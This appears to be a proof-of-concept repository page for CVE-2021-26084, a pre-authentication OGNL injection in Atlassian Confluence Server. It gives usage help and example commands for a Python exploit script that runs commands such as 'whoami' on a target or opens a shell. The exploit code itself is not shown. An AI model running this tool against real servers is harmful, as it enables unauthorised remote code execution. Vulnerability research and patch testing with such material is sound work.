CVE-2021-26084 PoC — Atlassian Confluence Server 注入漏洞

Description

CVE-2021-26084 - Confluence Pre-Auth RCE  OGNL injection 回显

介绍

# CVE-2021-26084 - Confluence Pre-Auth RCE  OGNL injection
### Usage

- ```
  usage: cve-2021-26084_confluence_rce.py [-h] --url URL [--cmd CMD] [--shell]
  
  CVE-2021-26084 - Confluence Pre-Auth RCE OGNL injection
  
  optional arguments:
    -h, --help         show this help message and exit
    --url URL, -u URL  Target Url
    --cmd CMD, -c CMD  Command
    --shell            Get shell
  ```

- ```
  python3 cve-2021-26084_confluence_rce.py -u http://target:8090 -c "whoami"
  ```

  ![1630484082986](img/1630484082986.png)

- ```
  python3 cve-2021-26084_confluence_rce.py -u http://target:8090 -c "cmd.exe /c dir"
  ```

  ![1630484112292](img/1630484112292.png)



### Reference:

https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md

文件快照

备注